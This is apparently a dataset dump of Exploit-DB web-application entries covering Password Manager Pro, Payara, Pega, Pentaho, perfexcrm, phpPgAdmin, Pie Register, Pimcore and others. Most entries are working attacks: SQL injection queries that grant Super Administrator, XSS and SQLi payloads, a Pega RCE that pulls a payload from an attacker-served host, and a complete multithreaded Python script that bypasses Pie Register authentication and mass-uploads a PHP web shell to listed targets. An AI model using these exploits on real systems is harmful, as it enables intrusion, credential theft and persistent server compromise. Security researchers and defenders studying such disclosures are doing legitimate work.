deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35210
Description: Password Manager Pro / Pro MSP - Blind SQL Injection
Type: webapps
Platform: multiple
Date: 2014-11-10
Author: Pedro Ribeiro

Exploit:
>> Authenticated blind SQL injection in Password Manager Pro / Pro MSP
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================
Disclosure: 08/11/2014 / Last updated: 08/11/2014

>> Background on the affected products:
"Password Manager Pro (PMP) is a secure vault for storing and managing
shared sensitive information such as passwords, documents and digital
identities of enterprises."


>> Technical details:
PMP has a SQL injection vulnerability in its search function. A valid
user account is required to exploit the injection, however a low
privileged guest account is enough.

The application uses different database backends by default depending
on its version: versions < 6.8 use the MySQL backend and versions >=
6.8 use PostgreSQL. Single quotes are escaped with backslashes at the
injection point, but this can be somewhat avoided by double escaping
the slashes (\\'). In addition, injected strings are all modified to
uppercase. These two unintended "protections" make it difficult to
exploit the injection to achieve remote code execution.
However the injection can be abused in creative ways - for example to
escalate the current user privileges to "Super Administrator", which
has access to all the passwords in the system in unencrypted format.
This can be achieved by injecting the following queries: "update
AaaAuthorizedRole set role_id=1 where account_id=<userId>;insert into
ptrx_superadmin values (<userId>,true);".

A Metasploit module has been released that creates a new "Super
Administrator" account and exports PMP's password database in CSV
format. All passwords are exported unencrypted.


Vulnerability: Blind SQL injection in SEARCH_ALL parameter (multiple
pages affected)
Constraints: authentication needed (guest / low privileged user account)

CVE-2014-8498
POST /BulkEditSearchResult.cc
Affected versions: Unknown, at least v7 build 7001 to vX build XXX

CVE-2014-8499
POST /SQLAdvancedALSearchResult.cc
POST /AdvancedSearchResult.cc
Affected versions: Unknown, at least v6.5 to vX build XXX

COUNT=1&USERID=1&SEARCH_ALL=<injection here>


>> Fix:
Upgrade to version 7.1 build 7105


[1]
http://seclists.org/fulldisclosure/2014/Aug/55
http://seclists.org/fulldisclosure/2014/Aug/75
http://seclists.org/fulldisclosure/2014/Aug/88
http://seclists.org/fulldisclosure/2014/Sep/1
http://seclists.org/fulldisclosure/2014/Sep/110
http://seclists.org/fulldisclosure/2014/Nov/12

[2]
https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_pmp_privesc.txt
Exploit-DB #50371
Description: Payara Micro Community 5.2021.6 - Directory Traversal
Type: webapps
Platform: multiple
Date: 2021-10-04
Author: Yasser Khan

Exploit:
# Exploit Title: Payara Micro Community 5.2021.6 - Directory Traversal
# Date: 01/10/2021
# Exploit Author: Yasser Khan (N3T_hunt3r)
# Vendor Homepage: https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
# Software Link: https://www.payara.fish/downloads/payara-platform-community-edition/#x
# Version: Payara Micro Community 5.2021.6
# Tested on: Linux/Windows OS
# CVE : CVE-2021-41381

https://nvd.nist.gov/vuln/detail/CVE-2021-41381

Proof of Concept:

Step1: Open the browser check the version of the payara software

Step2: Add this Path at end of the URL
/.//WEB-INF/classes/META-INF/microprofile-config.properties

Step3: Check the response with match containing
"payara.security.openid.default.providerURI="

"payara.security.openid.sessionScopedConfiguration=true"

Step4 : If any of these contents in the response then the application is vulnerable to Directory Traversal Vulnerability.

Step5: Alternatively we can use CURL by using this command:

Request:
curl --path-as-is http://localhost:8080/.//WEB-INF/classes/META-INF/microprofile-config.properties

Reference:

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt
https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
https://nvd.nist.gov/vuln/detail/CVE-2021-41381
Exploit-DB #51099
Description: Pega Platform 8.1.0 - Remote Code Execution (RCE)
Type: webapps
Platform: multiple
Date: 2023-03-28
Author: Marcin Wolak

Exploit:
# Exploit Title: Pega Platform 8.1.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 20 Oct 2022
# Exploit Author: Marcin Wolak (using MOGWAI LABS JMX Exploitation Toolkit)
# Vendor Homepage: www.pega.com
# Software Link: Not Available
# Version: 8.1.0 on-premise and higher, up to 8.3.7
# Tested on: Red Hat Enterprise 7
# CVE : CVE-2022-24082

;Dumping RMI registry:
nmap -sT -sV --script rmi-dumpregistry -p 9999 <IP Address>

;Extracting dynamic TCP port number from the dump (in form of @127.0.0.1
:<PORT>)
;Verifying that the <PORT> is indeed open (it gives 127.0.0.1 in the RMI
dump, but actually listens on the network as well):
nmap -sT -sV -p <PORT> <IP Address>

;Exploitation requires:
;- JVM
;- MOGWAI LABS JMX Exploitation Toolkit (https://github.com/mogwailabs/mjet)
;- jython
;Installing mbean for remote code execution
java -jar jython-standalone-2.7.2.jar mjet.py --localhost_bypass <PORT> <IP
Address> 9999 install random_password http://<Local IP to Serve Payload
over HTTP>:6666 6666

;Execution of commands id & ifconfig
java -jar jython-standalone-2.7.2.jar mjet.py --localhost_bypass <PORT> <IP
Address> 9999 command random_password "id;ifconfig"

;More details:
https://medium.com/@Marcin-Wolak/cve-2022-24082-rce-in-the-pega-platform-discovery-remediation-technical-details-long-live-69efb5437316


Kind Regards,
Marcin Wolak
Exploit-DB #33284
Description: Pentaho BI 1.x - Multiple Cross-Site Scripting / Information Disclosure Vulnerabilities
Type: webapps
Platform: multiple
Date: 2009-10-14
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/36672/info

Pentaho BI is prone to multiple cross-site scripting and information-disclosure vulnerabilities because it fails to properly validate user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. The attacker may also exploit these issues to obtain sensitive session information.

Pentaho BI 1.7.0.1062 is vulnerable; other versions may also be affected. 

GET /pentaho/ViewAction?&
outputType=khgj345<script>alert('Pwnd')</script>kjh3535
&solution=opentaps&action=CustomerLifeTimeOrders.xaction&path=Customer%20Analysis
HTTP/1.0
User-Agent: Opera/9.63 (Windows NT 5.1; U; en) Presto/2.1.1
Host: demo1.opentaps.org:8181
Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg,
image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: it-IT,it;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://www.example.com:8181/pentaho/ViewAction?solution=opentaps&path=
Customer%20Analysis&action=CustomerLifeTimeOrders.xaction
Cookie: JSESSIONID=85740C182994F78946BE8A38605396B1
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Exploit-DB #50097
Description: perfexcrm 1.10 - 'State' Stored Cross-site scripting (XSS)
Type: webapps
Platform: multiple
Date: 2021-07-06
Author: Alhasan Abbas

Exploit:
# Exploit Title: perfexcrm 1.10 - 'State' Stored Cross-site scripting (XSS)
# Date: 05/07/2021
# Exploit Author: Alhasan Abbas (exploit.msf)
# Vendor Homepage: https://www.perfexcrm.com/
# Version: 1.10
# Tested on: windows 10

Vunlerable page: /clients/profile

POC:
----
POST /clients/profile HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Length: 1548

Origin: http://localhost

Connection: close

Referer: http://localhost/clients/profile

Cookie: sp_session=07c611b7b8d391d144a06b39fe55fb91b744a038

Upgrade-Insecure-Requests: 1



----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="profile"



1

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="profile_image"; filename=""

Content-Type: application/octet-stream





----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="firstname"



adfgsg

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="lastname"



fsdgfdg

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="company"



test

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="vat"



1

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="phonenumber"





----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="country"



105

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="city"



asdf

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="address"



asdf

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="zip"



313

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]

Content-Disposition: form-data; name="state"



""><body onload=alert("XSS")>">

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--

then any one open profile page in user the xss its executed
Exploit-DB #51186
Description: perfSONAR v4.4.5 - Partial Blind CSRF
Type: webapps
Platform: multiple
Date: 2023-04-01
Author: Ryan Moore

Exploit:
Exploit Title: perfSONAR v4.4.5 - Partial Blind CSRF
Link: https://github.com/perfsonar/
Affected Versions: v4.x <= v4.4.5
Vulnerability Type: Partial Blind CSRF
Discovered by: Ryan Moore
CVE: CVE-2022-41413
Summary

A partial blind CSRF vulnerability exists in perfSONAR v4.x <= v4.4.5 within the /perfsonar-graphs/ test results page. Parameters and values can be injected/passed via the URL parameter, forcing the client to connect unknowingly in the background to other sites via transparent XMLHTTPRequests. This partial blind CSRF bypasses the built-in whitelisting function in perfSONAR.

This vulnerability was patched in perfSONAR v4.4.6.
Proof of Concept
Examples

Here are two examples of this vulnerability. For further details, review the Technical Overview section below.
Example 1:

Client browser connects to www.google.com in the background.
http://192.168.68.145/perfsonar-graphs/?source=1&dest=2&url=https://www.google.com
Example 2:

Client browser connects to arbitrary IP and port in the background, passing delete parameter to /api endpoint.
http://192.168.68.145/perfsonar-graphs/?source=8.8.8.8&dest=%26action%3Ddelete&url=http://192.168.68.113:4444/api
Exploit-DB #49072
Description: PESCMS TEAM 2.3.2 - Multiple Reflected XSS
Type: webapps
Platform: multiple
Date: 2020-11-19
Author: icekam

Exploit:
# Exploit Title: PESCMS TEAM 2.3.2 - Multiple Reflected XSS 
# Date: 2020-11-18
# Exploit Author: icekam
# Vendor Homepage: https://www.pescms.com/
# Software Link: https://github.com/lazyphp/PESCMS-TEAM
# Version: PESCMS Team 2.3.2
# CVE:  CVE-2020-28092

PESCMS Team 2.3.2 has multiple reflected XSS via the id

parameter:?g=Team&m=Task&a=my&status=3&id=,?g=Team&m=Task&a=my&status=0&id=,?g=Team&m=Task&a=my&status=1&id=,?g=Team&m=Task&a=my&status=10&id=

 please refer to: https://github.com/lazyphp/PESCMS-TEAM/issues/6

now I input payload :

"><ScRiPt>alert(1)</ScRiPt>
Exploit-DB #52445
Description: phpMyFAQ  3.1.7 - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2025-12-02
Author: CodeSecLab

Exploit:
# Exploit Title: phpMyFAQ  3.1.7 - Reflected Cross-Site Scripting (XSS) 
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/thorsten/phpmyfaq/
# Software Link: https://github.com/thorsten/phpmyfaq/
# Version: 3.1.7 
# Tested on: Windows
# CVE : CVE-2022-3766


Proof Of Concept
GET http://phpmyfaq1/index.php?action=main&search=%22%20onfocus%3D%22alert%281%29

Additional Conditions:
- Ensure that no security mechanisms (like a web application firewall) are blocking the specific request pattern.
- The application must be running a phpMyFAQ version prior to 3.1.8.


Steps to Reproduce
Log in phpmyfaq.
Send the request.
Observe the result
Exploit-DB #49736
Description: phpPgAdmin 7.13.0 - COPY FROM PROGRAM Command Execution (Authenticated)
Type: webapps
Platform: multiple
Date: 2021-04-01
Author: Valerio Severini

Exploit:
# Exploit Title: phpPgAdmin 7.13.0 - COPY FROM PROGRAM Command Execution (Authenticated)
# Date: 29/03/2021
# Exploit Author: Valerio Severini
# Vendor Homepage: Software Link: https://github.com/phppgadmin/phppgadmin/releases/tag/REL_7-13-0
# Version: 7.13.0 or lower
# Tested on: Debian 10 and Ubuntu

Description: phpPgAdmin through 7.13.0 allows remote authenticated users to execute arbitrary code. An attacker can create a table named cmd_exec with one column, add type=text and cmd_out, and try to execute the query via a SQL tab. It will fail because of restrictions on statements. However, the attacker can bypass this step by uploading a .txt file (containing a SQL statement such as "COPY cmd_exec FROM PROGRAM" followed by OS commands) in the Browse bar. This achieves remote command execution via a "SELECT * FROM cmd_exec" statement.

Attack Vectors (PoC):
1) you have to create a table manually and call it "cmd_exec" with 1 column
2) add cmd_output and type = text
3) try to execute the query via SQL tabs , but it should fail because of restriction of Statement.
4) A malicious Attacker could bypass this step uploading a .txt file in "Browse" bar, with a SQL malicious query inside, for example: " COPY cmd_exec FROM PROGRAM 'id; cd /root; ls'; "
5) The attacker could execute Remote command execution and obtain full access control executing in SQL query: " SELECT * FROM cmd_exec; "
Exploit-DB #49192
Description: Phpscript-sgh 0.1.0 - Time Based Blind SQL Injection
Type: webapps
Platform: multiple
Date: 2020-12-04
Author: KeopssGroup0day_Inc

Exploit:
# Exploit Title: Phpscript-sgh 0.1.0 - Time Based Blind SQL Injection
# Date: 2020-12-04
# Exploit Author: KeopssGroup0day,Inc
# Vendor Homepage: https://github.com/geraked/phpscript-sgh
# Software Link: https://github.com/geraked/phpscript-sgh
# Version: 0.1.0
# Tested on: Kali Linux

------------------------------------------------------------------------------------------------------------------------
Source code(localhost/admin/admins.php):

if ($_REQUEST['op']=='add') {
	$id = $username = $password = $conf_[CREDENTIAL_REDACTED] = $lastname = 
$email = $pic = $_SESSION['aapic'] = "";
	}
	else {
		$result	= $conn->query("SELECT * FROM sgh_admins WHERE 
id=".test_input($_REQUEST['id'])." LIMIT 1");
		$row	= $result->fetch_assoc();
		extract($row);
		$_SESSION['aapic'] = $pic;
	}

------------------------------------------------------------------------------------------------------------------------
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: op=edit&id=1 AND (SELECT 9367 FROM 
(SELECT(SLEEP(5)))pBEE)&_pjax=#pjax-container

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: op=edit&id=-5015 UNION ALL SELECT 
NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b716271,0x536b4e4a775448674c[PII_REDACTED]5a4c[PII_REDACTED]4f524b535456706e[PII_REDACTED]424a4f67744b,0x717a626b71),NULL-- 
-&_pjax=#pjax-container
------------------------------------------------------------------------------------------------------------------------
Exploit-DB #46935
Description: Phraseanet < 4.0.7 - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2019-05-28
Author: Krzysztof Szulski

Exploit:
# Exploit title: Stored XSS vulnerability in Phraseanet DAM Open Source software
# Date: 10/10/2018
# Exploit Author: Krzysztof Szulski
# Vendor Homepage: https://www.phraseanet.com
# Software Link (also VM): https://www.phraseanet.com/en/download/ # Version affected: 4.0.3 (4.0.4-dev) and below
# Version fixed: 4.0.7
# Proof of concept.

Phraseanet is an Open Source Digital Asset Management software distributed under GNU GPLV3 license.
Registered user (or even guest user, depends of configuration) can upload pictures, videos, pdfs or any other document.
A crafted file name for uploaded document leads to stored XSS. In simplest form the name of the file would be:
"><svg onload=alert(1)>.jpg
or:
"><svg onload=alert(document.cookie)>.jpg
Please notice that the file name should start from double quotation mark.
Once a picture will be uploaded it will pop up an alert window and keep popping up every time anybody will login to the website.
Another example of more malicious usage would be this file name:
"><svg onload=window.history.back()>.jpg
From now on every attempt to login will end up with redirection one step back - to login page.
Please be aware that this will not affect Chrome browser and other browsers built on chrome engine which has XSS filter built in.
Exploit-DB #52370
Description: Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass to RCE
Type: webapps
Platform: multiple
Date: 2025-07-22
Author: Md Amanat Ullah (xSwads)

Exploit:
# Exploit Title: Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass to RCE
# Google Dork: inurl:/wp-content/plugins/pie-register/
# Date: 2025-07-09
# Exploit Author: Md Amanat Ullah (xSwads)
# Vendor Homepage: https://wordpress.org/plugins/pie-register/
# Software Link:
https://downloads.wordpress.org/plugin/pie-register.3.7.1.4.zip
# Version: <= 3.7.1.4
# Tested on: Ubuntu 22.04
# CVE: CVE-2025-34077

#!/usr/bin/env python3
import requests
import zipfile
import io
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import Fore, Style, init
from threading import Lock
init(autoreset=True)

SHELL_PHP = "<?php if(isset($_GET['cmd'])) echo shell_exec($_GET['cmd']); ?>"
PLUGIN_DIR = "evilplugin"
ZIP_NAME = "evilplugin.zip"
SHELL_FILE = "shell.php"
OUTPUT_FILE = "Shells.txt"
HEADERS = {'User-Agent': 'Mozilla/5.0'}
TIMEOUT = 10
lock = Lock()

def FilterURLS(site):
    site = site.strip()
    if not site.startswith(('http://', 'https://')):
        site = 'http://' + site
    if not site.endswith('/'):
        site += '/'
    return site

def make_shell_zip():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w') as z:
        z.writestr(f"{PLUGIN_DIR}/{PLUGIN_DIR}.php", "<?php /* Plugin */ ?>")
        z.writestr(f"{PLUGIN_DIR}/{SHELL_FILE}", SHELL_PHP)
    buf.seek(0)
    return buf

def exploit(target):
    target = FilterURLS(target)
    session = requests.Session()
    data = {"social_site": "true", "user_id_social_site": "1"}
    try:
        r = session.post(f"{target}?pr_social_login=1", data=data, headers=HEADERS, timeout=TIMEOUT)
    except:
        print(f"{Fore.RED}[Failed] - {target}")
        return

    if not session.cookies:
        print(f"{Fore.RED}[Failed] - {target}")
        return
    files = {"pluginzip": (ZIP_NAME, make_shell_zip(), "application/zip")}
    try:
        upload = session.post(f"{target}wp-admin/plugin-install.php?upload", files=files, headers=HEADERS, timeout=TIMEOUT)
    except:
        print(f"{Fore.RED}[Failed] - {target}")
        return

    if "Plugin installed successfully" in upload.text:
        shell_url = f"{target}wp-content/plugins/{PLUGIN_DIR}/{SHELL_FILE}"
        print(f"{Fore.GREEN}[Exploited] - {shell_url}")
        with lock:
            with open(OUTPUT_FILE, "a") as f:
                f.write(shell_url + "\n")
    else:
        print(f"{Fore.RED}[Failed] - {target}")

def main(targets_file):
    with open(targets_file, "r") as f:
        targets = [line.strip() for line in f if line.strip()]

    with ThreadPoolExecutor(max_workers=100) as executor:
        futures = [executor.submit(exploit, target) for target in targets]
        for _ in as_completed(futures):
            pass

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} list.txt")
        sys.exit(1)

    main(sys.argv[1])
Exploit-DB #52194
Description: Pimcore 11.4.2 - Stored cross site scripting
Type: webapps
Platform: multiple
Date: 2025-04-14
Author: maeitsec

Exploit:
# Exploit Title: Authenticated Stored Cross-Site Scripting (XSS) Via Search
Document
# Google Dork: N/A
# Date: 1/28/2025
# Exploit Author: maeitsec
# Vendor Homepage: https://pimcore.com/
# Software Link: https://github.com/pimcore/pimcore
# Version: Pimcore 10.5.x (prior to 10.5.21) and 11.x (prior to 11.1.1)
# Tested on: Pimcore 10.5.20 on Ubuntu 20.04
# CVE:  CVE-2024-11954

---

### Description:
A stored Cross-Site Scripting (XSS) vulnerability exists in Pimcore's Data
Object Classification Store functionality. The vulnerability arises due to
insufficient input sanitization, allowing an authenticated attacker with
access to the classification store to inject malicious JavaScript code.
This code is then executed in the context of other users' browsers when
they view the affected data.

### Proof of Concept (PoC):
1. Log in to the Pimcore backend as a user with access to the Data Object
Classification Store.
2. Navigate to the Classification Store and create or edit a key.
3. Inject the following payload into the key value:
   ```html
   <script>alert('XSS')</script>
4. Save the file and view it in the frontend or backend. The JavaScript
alert will execute, demonstrating the vulnerability.
Exploit-DB #52193
Description: Pimcore customer-data-framework 4.2.0 -  SQL injection
Type: webapps
Platform: multiple
Date: 2025-04-14
Author: maeitsec

Exploit:
# Exploit Title: Pimcore customer-data-framework 4.2.0 -  SQL injection
# Date: 01/28/2025
# Exploit Author: maeitsec
# Vendor Homepage: https://pimcore.com/
# Software Link: https://github.com/pimcore/pimcore
# Version: Pimcore versions prior to 10.5.21
# Tested on: Ubuntu 20.04 with Pimcore 10.5.20
# CVE: CVE-2024-11956

import requests

# Replace with target URL and credentials
TARGET_URL = "http://example.com/pimcore"
USERNAME = "low_privilege_user"
[CREDENTIAL_REDACTED]"

# Authenticate and get session
session = requests.Session()
login_data = {
    "username": USERNAME,
    "password": PASSWORD
}
login_response = session.post(f"{TARGET_URL}/admin/login", data=login_data)

if "Login successful" in login_response.text:
    print("[+] Authenticated successfully.")

    # Exploit the downloadAsZip functionality
    download_url = f"{TARGET_URL}/admin/asset/download-as-zip"
    payload = {
        "ids[]": ["1", "2", "3"]  # Replace with IDs of restricted files/folders
    }
    download_response = session.post(download_url, data=payload)

    if download_response.status_code == 200:
        print("[+] Exploit successful. Restricted files downloaded.")
        with open("restricted_files.zip", "wb") as f:
            f.write(download_response.content)
    else:
        print("[-] Exploit failed. Server returned:", download_response.status_code)
else:
    print("[-] Authentication failed.")